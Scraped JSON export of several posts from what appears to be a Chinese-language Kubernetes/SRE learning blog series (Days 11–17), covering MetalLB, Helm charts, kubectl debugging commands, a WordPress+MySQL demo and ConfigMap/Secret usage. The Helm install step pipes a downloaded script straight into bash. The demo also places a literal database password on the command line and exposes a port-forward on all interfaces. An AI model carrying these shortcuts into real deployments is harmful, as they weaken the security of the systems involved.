(IPv6)，好處是可以在任何網卡上使用，不需要再有額外設備，像是 Router。\nBGP mode 就需要 BGP Peering 廣播使用 IP，然而 BGP 通常應用於比較大型的網路結構中。\nBGP mode 部分筆者就沒有使用過了，需要等有設備才能測試實驗，而且通常 Layer 2 mode 廣播就夠用了。\nIP Pool 建立 # 這裡就按照 MetalLB 官網上的 Usage **\u0026gt;** Full example 做設定。\n我會分配 192.168.200.200 - 192.168.200.209 作為 External IP：\n# 1. Save as `IPAddressPool.yaml` # 2. In bash, `kubectl apply -f IPAddressPool.yaml` # 3. If you want to remove, `kubectl delete -f IPAddressPool.yaml` apiVersion: metallb.io/v1beta1 kind: IPAddressPool metadata: name: first-pool # IP Pool 的名字 namespace: metallb-system # Namespace spec: addresses: - 192.168.200.200-192.168.200.209 # 打上 IP Range，或者 CIDR 也是可以 建立完 IP Pool 之後，就可以建立廣播了。\nL2 Mode Advertisement # 這裡就按照 MetalLB 官網上的 Configuration \u0026gt; Advanced L2 configuration 做設定。\n也可以指定 .spec.ipAddressPools 套用指定的 IP Pool：\n# 1. Save as `L2Advertisement.yaml` # 2. In bash, `kubectl apply -f L2Advertisement.yaml` # 3. If you want to remove, `kubectl delete -f L2Advertisement.yaml` apiVersion: metallb.io/v1beta1 kind: L2Advertisement metadata: name: example namespace: metallb-system #spec: # 沒有填寫 Spec 就是對於全部的 namespace 下的 IPAddressPool 都套用 # ipAddressPools: # - first-pool # 對於 first-pool 會套用廣播 最後就把他們 Apply 進去：\nkubectl apply -f IPAddressPool.yaml kubectl apply -f L2Advertisement.yaml 這樣設定上去，確定 MetalLB 沒有 Crash 就好，要怎麼驗證這東西是好的呢？下一篇將會安裝 Istio 來驗證這個設定是否成功，並且在這裡裝上 Layer 7 的 Load Balancer。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://metallb.universe.tf/usage/example/ https://metallb.universe.tf/configuration/_advanced_l2_configuration/ ","date":"2022/10/02","externalUrl":null,"permalink":"/posts/it2022-day17/","section":"Posts","summary":"本篇大綱 # MetalLB 要分配 IP 需要套用他們的設定檔，這篇將會講解如何建立 IP Pool 跟分配。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 17 MetalLB 使用","type":"posts"},{"content":"","date":"2022/10/02","externalUrl":null,"permalink":"/tags/metallb/","section":"Tags","summary":"","title":"Metallb","type":"tags"},{"content":"本篇大綱 # 今天要來介紹私有雲好用的工具 MetalLB，讓你不在公有雲也可以擁有 External IP。\n內文 # 之前在介紹 Service 的時候，有提到 Load Balancer 是無法在私有雲上進行，MetalLB 可以解決這問題。\n雖然 MetalLB 現在在 CNCF 裡面是 Sandbox 階段，但其實在私有雲當中其實很好用，因為 Load Balancer 在私有雲當中是沒有 External IP，也就是說系統的 Service Load Balancer 會一直卡在 Pending 狀態無法使用。\n那要解決這問題，來安裝 MetalLB 吧！\nMetalLB 安裝 # 那我們就可以用上次學到的 Helm 裝起來：\nhelm repo add metallb https://metallb.github.io/metallb helm install metallb metallb/metallb -n metallb-system --create-namespace 安裝完就沒問題了嗎？只要沒有跳出 Error 就可以了，下一篇將會介紹如何使用 MetalLB 分配 IP。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://metallb.universe.tf/ ","date":"2022/10/01","externalUrl":null,"permalink":"/posts/it2022-day16/","section":"Posts","summary":"本篇大綱 # 今天要來介紹私有雲好用的工具 MetalLB，讓你不在公有雲也可以擁有 External IP。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 16 MetalLB 簡介＆安裝","type":"posts"},{"content":"本篇大綱 # 這篇要來介紹 Helm Chart 的基本架構，理解基礎架構後如果後面遇到問題，也可以自己嘗試 Debug 看看。\n內文 # 今天就來看看 Chart 裡面賣的什麼藥，用 create 來建立吧：\nhelm create my-chart 可以先往 Chart.yaml 看內容：\napiVersion: v2 name: my-chart description: A Helm chart for Kubernetes # A chart can be either an \u0026#39;application\u0026#39; or a \u0026#39;library\u0026#39; chart. # # Application charts are a collection of templates that can be packaged into versioned archives # to be deployed. # # Library charts provide useful utilities or functions for the chart developer. They\u0026#39;re included as # a dependency of application charts to inject those utilities and functions into the rendering # pipeline. Library charts do not define any templates and therefore cannot be deployed. type: application # This is the chart version. This version number should be incremented each time you make changes # to the chart and its templates, including the app version. # Versions are expected to follow Semantic Versioning (https://semver.org/) version: 0.1.0 # This is the version number of the application being deployed. This version number should be # incremented each time you make changes to the application. Versions are not expected to # follow Semantic Versioning. They should reflect the version the application is using. # It is recommended to use it with quotes. appVersion: \u0026#34;1.16.0\u0026#34; 裡面顯示的參數有這些：\napiVersion：通常都會是 v2 這比較沒什麼爭議，指的就是 Chart 格式版本。 name：Chart 的名字。 type：Chart 型態，有以下兩種變數 application：應用程式，大部分都是採用這個。 library：給予 chart 開發者使用，可以把一些常用的模板定義出來，但不能拿來安裝，筆者也很少使用它。 version：Chart 的版本，要使用 Semantic Versioning，Helm 主要看這個安裝。 appVersion：Chart 的應用程式版本，開發人員可以自己訂，用引號括起來即可。 當然 Chart.yaml 不只這些，還有一些相依性應用程式可以裝，就不用為了相依性重寫版本，不過這可以靠 helm dependency 命令完成，資料夾 charts 就是下載 Dependency chart 資料夾，那就簡單介紹到這裡。\n接下來可以往裡面看 templates\n先從比較熟悉的 service.yaml 看起：\napiVersion: v1 kind: Service metadata: name: {{ include \u0026#34;my-chart.fullname\u0026#34; . }} labels: {{- include \u0026#34;my-chart.labels\u0026#34; . | nindent 4 }} spec: type: {{ .Values.service.type }} ports: - port: {{ .Values.service.port }} targetPort: http protocol: TCP name: http selector: {{- include \u0026#34;my-chart.selectorLabels\u0026#34; . | nindent 4 }} 看起來跟原本的 YAML 設定檔很像，但只要打上 {{ }} 就是 Helm 的特有語法。\n打上 .Values 就會使用 values.yaml 的內容，後面接的就會是相對應的內容，假設 values.yaml 內容長這樣：\nservice: type: ClusterIP port: 80 經過 Helm 的 render 之後會變成這樣：\napiVersion: v1 kind: Service metadata: name: # 先省略... labels: # 先省略... spec: type: ClusterIP ports: - port: 80 targetPort: http protocol: TCP name: http selector: # 先省略... Templates 也支援 if else，像是 ingress.yaml 的 Line 9-15：\n{{- if semverCompare \u0026#34;\u0026gt;=1.19-0\u0026#34; .Capabilities.KubeVersion.GitVersion -}} apiVersion: networking.k8s.io/v1 {{- else if semverCompare \u0026#34;\u0026gt;=1.14-0\u0026#34; .Capabilities.KubeVersion.GitVersion -}} apiVersion: networking.k8s.io/v1beta1 {{- else -}} apiVersion: extensions/v1beta1 {{- end }} 雖然不一定看過 ingress 的內容，但看語意可以大概猜一下，這是判斷 K8s 版本來決定 apiVersion 要選哪一種，如果想要做相容性，Helm 就很實用。\n如果想要對 values.yaml 內容做迴圈處理，也可以使用 range：\n{{- range .Values.ingress.tls }} - hosts: {{- range .hosts }} - {{ . | quote }} {{- end }} secretName: {{ .secretName }} {{- end }} 這裡面的詳細語法不會講太多，需要使用或查看就再查語法就好。\n開發完成後可以使用 helm template 除錯一下\n# helm template \u0026lt;RELEASE_NAME\u0026gt; \u0026lt;CHART_PATH\u0026gt; --dry-run # --dry-run 可以模擬安裝 helm template test-release . --dry-run 就會去模擬名為 test-release 安裝這個 Chart 的時候會 render 出來的樣子。\n但這只是幫你協助產生設定檔，如果內容設定檔不符合規定，K8s 還是會擋下來，需要照正確格式設定喔！\n這裡簡單介紹了 Helm Chart 的基礎用法，雖然我後面沒有要去寫它，後面要安裝的內容都會使用 Helm，給大家做個參考。\n下一篇會繼續介紹私有雲會需要用到的 Application，與此同時，挑戰終於進行到一半了！\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://helm.sh/docs/topics/charts/ https://www.youtube.com/watch?v=BIyZna1lotc ","date":"2022/09/30","externalUrl":null,"permalink":"/posts/it2022-day15/","section":"Posts","summary":"本篇大綱 # 這篇要來介紹 Helm Chart 的基本架構，理解基礎架構後如果後面遇到問題，也可以自己嘗試 Debug 看看。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 15 Helm Chart 基礎架構","type":"posts"},{"content":"","date":"2022/09/30","externalUrl":null,"permalink":"/tags/helm/","section":"Tags","summary":"","title":"Helm","type":"tags"},{"content":"本篇大綱 # 需要在 K8s 組合出服務還真的不容易，但如果今天我想要同個服務只是改個名稱，還要再去複製嗎？今天來介紹非常好用的工具 Helm。\n內文 # 前面簡單介紹 Kubernetes 的設定檔，還有如何基本使用、除錯、查詢 Log 紀錄。\n這篇我們要來邁向更高階的設定檔，讓我們隆重介紹 Helm。\nHelm # Helm 可以管理 K8s 應用程式。\nHelm Charts 訂製、安裝、升級更複雜的 K8s 應用程式。\nCharts 可以簡單得建立、版本控管、分享以及發布，開始使用 Helm 並且停止複製貼上。\n這是他的官網介紹，看起來很抽象，但我們可以一步一步按照官網上的步驟來實作\n安裝步驟：https://helm.sh/docs/intro/install/\n# Linux curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash # Mac brew install helm 其實只要一行就能完成安裝 Helm 了！\n那我們就來照他的 Quickstart 來跑一遍：https://helm.sh/docs/intro/quickstart/\nhelm repo add bitnami https://charts.bitnami.com/bitnami # 加入 Repo Repo 相當於 apt 裡面的倉庫，加入倉庫了以後就可以使用 update：\nhelm repo update Update 之後我們就可以來試試搜尋套件：\nhelm search repo bitnami 就會把所有 bitmani 的套件列出來，這裡你可以注意到，他有分 Chart Version 跟 App Version，下一篇會來介紹差異。\n那先來嘗試他們的安裝 App\n# 自動產生名字 helm install bitnami/mysql --generate-name # 想要自己指定名字 helm install mysql-test bitnami/mysql # 指定安裝的 namespace helm install mysql-test bitnami/mysql -n database 沒有跳出錯誤訊息代表安裝成功，就可以看到安裝的 Application，他們會稱作為 Release：\nhelm ls 這時候你可以用 kubectl 看看裡面裝了什麼：\nkubectl get all 我們可以大概知道裡面裝了 StatefulSet 跟 Service，StatefulSet 的 Pod 卡在 Pending 狀態，這時候學習看一下裡面的原因。\n上一篇的 Cheatsheet 看到 Pod 狀態在 Pending 就要用 describe 檢查：\nkubectl describe pod mysql-test-0 這裡就可以看到原因，因為 PVC 沒有綁定，所以 K8s 無法分配 Pod 下去。\n那我就把 Release 移除掉，就下 uninstall：\n# helm uninstall \u0026lt;RELEASE_NAME\u0026gt; helm uninstall mysql-test 透過 Helm 我們可以找到寫好的 K8s 設定檔，直接部署在 K8s Cluster 裡面，就不需要再複製貼上還有改名設定檔。\nHelm Chart 裡面有哪些內容呢？下一篇會介紹它的基本架構。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://helm.sh/docs/intro/quickstart/ https://helm.sh/docs/intro/install/ ","date":"2022/09/29","externalUrl":null,"permalink":"/posts/it2022-day14/","section":"Posts","summary":"本篇大綱 # 需要在 K8s 組合出服務還真的不容易，但如果今天我想要同個服務只是改個名稱，還要再去複製嗎？今天來介紹非常好用的工具 Helm。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 14 Helm 簡介＆安裝","type":"posts"},{"content":"本篇大綱 # 這邊筆者自己整理幾個比較常用到的 kubectl 命令，其實就是 Cheatsheet，Debug 的時候可以使用，但是官方版本內容真的有點多，這裡準備幾個大家比較常用的命令，這些命令可以自由變化搭配。\n內文 # 列出所有 Pod 資訊 # kubectl get pod # 沒有指定通常為 default Namespace，列出該 Namespace 所有 Pod kubectl get pod -n \u0026lt;NAMESPACE_NAME\u0026gt; # 列出該 Namespace 所有 Pod kubectl get pod -A # 列出所有 Namespace Pod kubectl get pod -A -o wide # 所有 Namespace Pod 並且列出所在節點 列出 Pod 的 Describe # 發現你的 Pod 一直卡在 Pending，就代表裡面有些條件不符合，所以 K8s 無法分配工作。\n可能像是：\nPVC 還正在 Pending Request 資源已經超出每個 Node 上限 Pod 數量過多（節點建議上限為 110 個 Pod） kubectl describe pod \u0026lt;POD_NAME\u0026gt; -n \u0026lt;NAMESPACE_NAME\u0026gt; # 列出該 Pod 的詳細資訊 列出 Pod 裡面的 log 資訊（發生 Crashloopbackoff 可以使用） # 發現你的 Pod 一直在 Crash，或者跳 HTTP 500，那就代表該 Application 有設定錯誤，要自行看 Log 解決。\nkubectl logs -n \u0026lt;NAMESPACE_NAME\u0026gt; \u0026lt;POD_NAME\u0026gt; # 查看 Pod 裡面的 log kubectl logs -n \u0026lt;NAMESPACE_NAME\u0026gt; \u0026lt;POD_NAME\u0026gt; -c \u0026lt;CONTAINER_NAME\u0026gt; # 如果有 Pod 裡面有多個 Container。 kubectl logs -n \u0026lt;NAMESPACE_NAME\u0026gt; \u0026lt;POD_NAME\u0026gt; -f # 持續查看 Pod 裡面的 log，直到 Crash 或 Ctrl+c 離開。 自行進入 Pod # 裡面如果有些資訊想要查看，可以透過 exec 進入該 Pod，不過這裡有幾個前提：\nPod 需要在 Running 的時候才能做 後面所執行的程式必須存在，否則無法進入。 第二點雖然大部分 image 都會有 /bin/bash，如果沒有的話可以試試 /bin/sh，有些 image 會拔超乾淨到連 shell 都沒有，只能透過邪門歪道存取了，但這就不在這次討論範圍內啦！\nkubectl exec -it \u0026lt;POD_NAME\u0026gt; -- /bin/bash # 進入該 Pod 使用裡面的 bash kubectl exec -it \u0026lt;POD_NAME\u0026gt; -c \u0026lt;CONTAINER_NAME\u0026gt; -- /bin/bash # 進入該 Pod 某個 Container 使用裡面的 bash 建立臨時 Pod # 有時候我們無法直接確認 K8s 內部 Service 有沒有設定好，我們可以建立臨時 Pod，安裝需要的工具來檢測是否服務正常。\nkubectl run ubuntu --restart=Never --rm -it --image ubuntu:22.04 -- /bin/bash 節點資訊 # kubectl get node # 列出所有節點 kubectl get node -o wide # 列出所有節點 \u0026amp; 網路 IP kubectl cordon \u0026lt;NODE_NAME\u0026gt; # 該節點設定不可分配任何 Pod kubectl uncordon \u0026lt;NODE_NAME\u0026gt; # 該節點設定可以分配任何 Pod kubectl drain \u0026lt;NODE_NAME\u0026gt; kubectl delete \u0026lt;NODE_NAME\u0026gt; # 雖然有 delete 節點，但我們還是透過 Kubespray 來做就好 這邊附上 Debug 流程給各位參考：\n雖然這上面圖資訊很多，但簡單來說：\nPending：看 describe Crashloopbackoff：看 logs 沒有錯誤的一直 Restart：liveness 設定有問題 沒有 Ready：readiness 設定有問題 這裡再附上 K8s 官方自己的 Cheatsheet，因為我覺得內容有點多就自己再整理一篇實務上比較常用的命令。\nhttps://kubernetes.io/docs/reference/kubectl/cheatsheet/\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://kubernetes.io/docs/reference/kubectl/cheatsheet/ ","date":"2022/09/28","externalUrl":null,"permalink":"/posts/it2022-day13/","section":"Posts","summary":"本篇大綱 # 這邊筆者自己整理幾個比較常用到的 kubectl 命令，其實就是 Cheatsheet，Debug 的時候可以使用，但是官方版本內容真的有點多，這裡準備幾個大家比較常用的命令，這些命令可以自由變化搭配。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 13 Kubernetes - Cheatsheet 篇","type":"posts"},{"content":"","date":"2022/09/28","externalUrl":null,"permalink":"/tags/cheatsheet/","section":"Tags","summary":"","title":"Cheatsheet","type":"tags"},{"content":"本篇大綱 # 這篇要來嘗試 Service 之間的連線，用 MySQL 建立 DB 掛 Service，再用 Wordpress 連線到 MySQL 的 Service 上，並且使用 Port forward 把 Wordpress 轉出去。\n內文 # 這裡先做個聲明：\nWordpress 有官方建議的安裝方式，如果想要在正式環境使用，請參考 Wordpress 建議安裝，這裡只是為了展示 Pod 與 Service 之間的溝通和 Secret 的運作方式。 MySQL 想要用 ReplicaSet，請使用 MySQL 官方指定的 K8s 建議安裝方式，請不要使用 Deployment 方式作為安裝。 今天要實作 Wordpress + MySQL 架設服務，以下是這次的架構圖：\n用 mysql-deployment 建立 mysql-pod，儲存資料用 emptyDir，傳 mysql-pass-secret 進去當作資料庫的密碼，再用 mysql-svc 對外開 Port。\n接下來用 wordpress-deployment 建立 Wordpress Pod，儲存資料用 emptyDir，傳入 mysql-pass-secret 作為連接資料庫的密碼，再用 Service 對外出去連線。\n那就先來建立 Secret 作為 MySQL 的密碼：\nkubectl create secret generic mysql-pass --from-literal=password=\u0026#39;My5tr0ngP@s5w0rd\u0026#39; # 1. Save as `mysql-svc.yaml` # 2. In bash, `kubectl apply -f mysql-svc.yaml` # 3. If you want to remove, `kubectl delete -f mysql-svc.yaml` apiVersion: v1 kind: Service metadata: name: wordpress-mysql labels: app: wordpress spec: ports: - port: 3306 # Expost 3306 Port selector: app: wordpress tier: mysql # 1. Save as `mysql-deploy.yaml` # 2. In bash, `kubectl apply -f mysql-deploy.yaml` # 3. If you want to remove, `kubectl delete -f mysql-deploy.yaml` apiVersion: apps/v1 kind: Deployment metadata: name: mysql-deploy labels: app: wordpress spec: selector: matchLabels: app: wordpress tier: mysql strategy: type: Recreate template: metadata: labels: app: wordpress tier: mysql spec: containers: - image: mysql:5.6 name: mysql env: # 環境變數 - name: MYSQL_ROOT_PASSWORD # 設定資料庫 root 密碼 valueFrom: secretKeyRef: # 從 Secret 取得 name: mysql-pass # Secret 名字 key: password # Secret 裡面的 password 資料 ports: - containerPort: 3306 # 將 3306 Port 對外開放 name: mysql volumeMounts: - name: mysql-persistent-storage # 對應到下面的 Volume mountPath: /var/lib/mysql # 對應 Container 路徑 volumes: - name: mysql-persistent-storage # 定義 Volume 名字 emptyDir: {} # 使用 EmptyDir 儲存 # 1. Save as `wordpress-svc.yaml` # 2. In bash, `kubectl apply -f wordpress-svc.yaml` # 3. If you want to remove, `kubectl delete -f wordpress-svc.yaml` apiVersion: v1 kind: Service metadata: name: wordpress labels: app: wordpress spec: ports: - port: 80 selector: app: wordpress tier: frontend type: ClusterIP # 1. Save as `wordpress-deploy.yaml` # 2. In bash, `kubectl apply -f wordpress-deploy.yaml` # 3. If you want to remove, `kubectl delete -f wordpress-deploy.yaml` apiVersion: apps/v1 kind: Deployment metadata: name: wordpress-deploy labels: app: wordpress spec: selector: matchLabels: app: wordpress tier: frontend strategy: type: Recreate template: metadata: labels: app: wordpress tier: frontend spec: containers: - image: wordpress:4.8-apache name: wordpress env: # 環境變數 - name: WORDPRESS_DB_HOST # 設定 Wordpress DB 主機 value: wordpress-mysql # 填寫 MySQL 的 Service 名字 - name: WORDPRESS_DB_PASSWORD # 設定 Wordpress DB 密碼 valueFrom: secretKeyRef: # 從 Secret 取得 name: mysql-pass # Secret 名字 key: password # Secret 裡面的 password 資料 ports: - containerPort: 80 name: wordpress volumeMounts: - name: wordpress-persistent-storage # 對應到下面的 Volume mountPath: /var/www/html # 對應 Container 路徑 volumes: - name: wordpress-persistent-storage # 定義 Volume 名字 emptyDir: {} # 使用 EmptyDir 儲存 那先把 MySQL 安裝上去：\nkubectl apply -f mysql-deploy.yaml -f mysql-svc.yaml kubectl get all 再來把 WordPress 安裝上去：\nkubectl apply -f wordpress-deploy.yaml -f wordpress-svc.yaml kubectl get all 這裡面的 Service 都採用 ClusterIP 連線，那要怎麼連上去？\n我這裡可以偷偷開個 port forward 從 bastion-host 轉發出去：\n# kubectl port-forward \u0026lt;POD 或 SERVICE 皆可\u0026gt; \u0026lt;HostPort\u0026gt;:\u0026lt;ServicePort or ContainerPort\u0026gt; kubectl port-forward service/wordpress 8000:80 --address=\u0026#39;0.0.0.0\u0026#39; 後面加個 --address='0.0.0.0' 代表所有主機皆可連線，預設是 127.0.0.1，按下 enter 就會掛著。\n那記得把 OpenStack 安全性群組 Public SSH 的 8080 Port 打開，這樣 Bastion Host 才能連線。\n那我們就可以在網址上輸入：http://103.122.116.3:8000 試試連線\n有辦法顯示這樣畫面就代表簡單服務已經完成了！\n那就可以回到 Console 按下 ctrl+c 回到 bastion-host（瀏覽器端就會停止連線了）\n記得把剛剛的設定檔刪除：\nkubectl delete -f . kubectl delete secret mysql-pass 也要記得把 8000 Port 連線刪掉\n這樣每次安裝上去都有點麻煩，都要去重新命名，有沒有比較方便的工具可以讓我們直接 apply 這些設定呢？\n其實是有的，那個工具叫做 Helm，後面就要來介紹它怎麼安裝使用了。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://kubernetes.io/docs/reference/kubectl/cheatsheet/ ","date":"2022/09/27","externalUrl":null,"permalink":"/posts/it2022-day12/","section":"Posts","summary":"本篇大綱 # 這篇要來嘗試 Service 之間的連線，用 MySQL 建立 DB 掛 Service，再用 Wordpress 連線到 MySQL 的 Service 上，並且使用 Port forward 把 Wordpress 轉出去。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 12 Kubernetes - 組建真正的服務吧（二）","type":"posts"},{"content":"本篇大綱 # 邁向真正的要組合服務了，今天我們先來從 Deployment 來測試起，來試試 Service 有沒有達到負載平衡的效果。\n內文 # 我們先來建立只有顯示 Hostname 的 Deployment，我把 Docker image 下載回來本機查詢他有 Expose 9376 的 Port，因此 containerPort 就是 9376。\n# 1. Save as `hostname-deploy.yaml` # 2. In bash, `kubectl apply -f hostname-deploy.yaml` # 3. If you want to remove, `kubectl delete -f hostname-deploy.yaml` apiVersion: apps/v1 kind: Deployment metadata: name: hostname-deployment labels: app: hostname spec: replicas: 1 selector: matchLabels: app: hostname template: metadata: labels: app: hostname spec: containers: - name: hostname image: gcr.io/kubernetes-e2e-test-images/serve-hostname:1.1 ports: - containerPort: 9376 再來是建立 Service，為了 Demo 方便，我這裡會使用 NodePort。\n# 1. Save as `hostname-svc.yaml` # 2. In bash, `kubectl apply -f hostname-svc.yaml` # 3. If you want to remove, `kubectl delete -f hostname-svc.yaml` apiVersion: v1 kind: Service metadata: name: hostname-svc # Service 的名字 labels: app: hostname spec: type: NodePort # Worker node port 出去 selector: app: hostname # 對應 Pod 的標籤 ports: - protocol: TCP # 可以選擇 TCP 跟 UDP port: 80 # 對 service 要 expose 的 port targetPort: 9376 # 對應 Pod 的 containerPort nodePort: 30000 # Worker node 開的 port number 那我們就輸入 apply 把設定檔套用進去：\nkubectl apply -f . # 把當前資料夾的檔案 YAML 套用進去 方便確認，可以用 kubectl get all 確認服務有沒有上去：\nkubectl get all # 檢查 Pod Service Deployment ReplicaSet 根據 Service 內容得知，我們設定為 NodePort 30000，因此可以知道我在內網裡面可以直接連 Worker node 的 30000 Port，就可以進去此服務。\n那我們就可以用 curl 來測試個五次：\ncurl http://192.168.200.102:30000 有顯示 Hostname 就代表成功了，系統會顯示 Pod 的名稱。\n那我們就來試著 replica 開多一點，幾種方式可以修改：\n修改完 hostname-deploy.yaml 再 apply 一次。 用 kubectl edit 直接編輯 Deployment，replicas 數量調高。 用 kubectl scale 把 Deployment 擴充。 # 1. vim hostname-deploy.yaml kubectl apply -f hostname-deploy.yaml # 2. kubectl edit deploy hostname-deployment # 找到 replicas 欄位，把數量調高 # 3. kubectl scale --replicas=3 deploy/hostname-deployment 那我們就可以再來用 curl 來測試個十次：\ncurl http://192.168.200.102:30000 就會發現後面每次接的 Pod 不見得都是同一個，證明 Service 有做到簡單的負載平衡，連線到各自不同的 Pod。\n那我們就把他刪除掉結束這個實驗：\nkubectl delete -f . 下一篇我會來介紹，如何使用 Deployment + Secret + EmptyDir 架設 Wordpress + MySQL。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://kubernetes.io/docs/reference/kubectl/cheatsheet/ ","date":"2022/09/26","externalUrl":null,"permalink":"/posts/it2022-day11/","section":"Posts","summary":"本篇大綱 # 邁向真正的要組合服務了，今天我們先來從 Deployment 來測試起，來試試 Service 有沒有達到負載平衡的效果。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 11 Kubernetes - 組建真正的服務吧（一）","type":"posts"},{"content":"","date":"2022/09/26","externalUrl":null,"permalink":"/tags/deployment/","section":"Tags","summary":"","title":"Deployment","type":"tags"},{"content":"本篇大綱 # 這篇將會介紹在 K8s 組出服務必備的第三元素：Storage \u0026amp; ConfigMap \u0026amp; Secret。\n內文 # K8s 另一個很重要的東西就是儲存了，Docker 可以用 --volume 直接連結好位置就可以永久儲存，可是 K8s 他無法像 Docker 那麼方便，他會需要 Persistent Volume \u0026amp; Persistent Volume Claim 來完成。\n設定檔通常都是小檔案，放在 Persistent Volume 是有點大材小用，因此就會有 ConfigMap 解決這情境，那如果有些參數是不能直接在 K8s YAML 檔案上面，那該怎麼辦？Secret 就是好用的東西，那我就來一個個介紹吧！\nPersistent Volume # Persistent Volume 簡稱 PV，你可以把他想像成硬碟，建立好幾組硬碟，硬碟也有分好幾種方式：\nAWS, Azure, GCP（這種公有雲都有相對應的 Solution，這邊只會提私有雲常用的策略） CephFS, RBD GlusterFS OpenStack Cinder CSI（後面有一篇會寫到如何跟 OpenStack 整合） HostPath（官方有說明 Production 避免使用它，容易產生系統漏洞） iSCSI local（掛在 Node 的硬碟上儲存） NFS 這裡會給予 NFS 的範例，但是 Demo 的時候不會有 NFS，因為我們沒有 NFS Server。\napiVersion: v1 kind: PersistentVolume metadata: name: nfs spec: capacity: storage: 1Mi accessModes: - ReadWriteOnce nfs: server: 172.17.8.101 path: \u0026#34;/nfsshare\u0026#34; .spec.capacity.storage 就是儲存空間大小\n.spec.accessModes[] 就是這個 PV 能給 Node 掛載模式，這裡不是在指 Pod 喔！\n能跟 OpenStack 整合的就 Cinder CSI，後面有篇文章會說如何讓 OpenStack 跟 PVC 動態串接。\nPersistent Volume Claim # Persistent Volume Claim 簡稱 PVC （這裡的 PVC 不是聚氯乙烯），它就是要負責去提出要占用哪一顆硬碟 (Persistent Volume)，根據它的需求去拿取。\napiVersion: v1 kind: PersistentVolumeClaim metadata: name: mysql-pv-claim labels: app: wordpress spec: accessModes: - ReadWriteOnce resources: requests: storage: 20Gi PVC 只要看到有符合需求的 PV 就會顯示 Bound，代表綁定成功，但如果像現在這樣情況，需求要 20Gi，但是 PV 只有 1Mi，那他們之間就不會有綁定。\n明天文章的 Demo 是不會有 PV \u0026amp; PVC，空間都會使用 emptydir，也就是臨時用的資料夾，emptydir 的特性就是只要 Pod 在節點上被刪除，資料就會遺失，這個要注意。\nConfigMap # 顧名思義，通常會把設定檔放在 ConfigMap，可以用兩種方式 file 或 env 型態\n那我使用 nginx.conf 作為示範 file：\n# 1. Save as `nginx.conf` worker_processes 1; error_log logs/error.log; pid logs/nginx.pid; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; log_format main \u0026#39;$remote_addr - $remote_user [$time_local] \u0026#34;$request\u0026#34; \u0026#39; \u0026#39;$status $body_bytes_sent \u0026#34;$http_referer\u0026#34; \u0026#39; \u0026#39;\u0026#34;$http_user_agent\u0026#34; \u0026#34;$http_x_forwarded_for\u0026#34;\u0026#39;; access_log logs/access.log main; sendfile on; keepalive_timeout 65; server { listen 80; server_name localhost; access_log logs/host.access.log main; location / { root html; index index.html index.htm; } error_page 404 /404.html; error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } } } 把他儲存以後\nkubectl create cm nginx-conf --from-file=./nginx.conf # cm 代表 configmap，可以直接縮寫 把它 Describe 一下：\nkubectl describe cm nginx-conf 這樣顯示就代表設定檔有進去了。\n# 1. Save as `configmap-pod.yaml` # 2. In bash, `kubectl apply -f configmap-pod.yaml` # 3. If you want to remove, `kubectl delete -f configmap-pod.yaml` apiVersion: v1 kind: Pod metadata: name: configmap-pod spec: containers: - name: test-container image: k8s.gcr.io/busybox command: [ \u0026#34;/bin/sh\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;ls /etc/config/; cat /etc/config/nginx2.conf\u0026#34; ] # 列出 /etc/config 裡面的資料，並且把裡面的 nginx2.conf 內容印出來 volumeMounts: - name: config-volume # mount 下面這個 config-volume mountPath: /etc/config # 路徑在 container 內的 /etc/config volumes: - name: config-volume configMap: name: nginx-conf # 寫上前面建立的 ConfigMap 名稱 items: - key: nginx.conf # 指定為 ConfigMap 裡面的某個 Key path: nginx2.conf # 映射進去後會變成 nginx2.conf restartPolicy: Never 那我們就來 apply 進去：\nkubectl apply -f configmap-pod.yaml 最後把 Pod 的 log 結果印出來：\nkubectl logs configmap-pod 這個是把 ConfigMap 當作 Volume 去傳進 Pod 裡面，想要當作 env 參數可以去參考官方範例，這裡因為篇幅限制就讓各位知道概念。\n記得把 nginx-conf ConfigMap 刪掉：\nkubectl delete cm nginx-conf Secret # Secret 都會放的是機密類的資料，只要有像是資料庫的初始產生密碼，或者公鑰私鑰，這些都不適合直接暴露在文件中都算機密類。\nSecret 提供了 8 種儲存方式：\n我實際上比較常使用的是 Opaque 跟 kubernetes.io/tls。\n除了上面有所說的特殊用途以外，通常都是使用 Opaque 的型態。\nOpaque 是這樣建立出來：\nkubectl create secret generic nginx-secret --from-file=./nginx.conf 對，你有沒有發現，其實這跟 ConfigMap 差不多，差異是把 configmap 換成 secret generic 而已。\n那我們來 describe 一下它的內容：\nkubectl describe secret nginx-secret 因為是 Secret，他不會直接顯示內容，但可以透過 Edit 方式去編輯，不過在這之前我先來介紹另一個使用情境 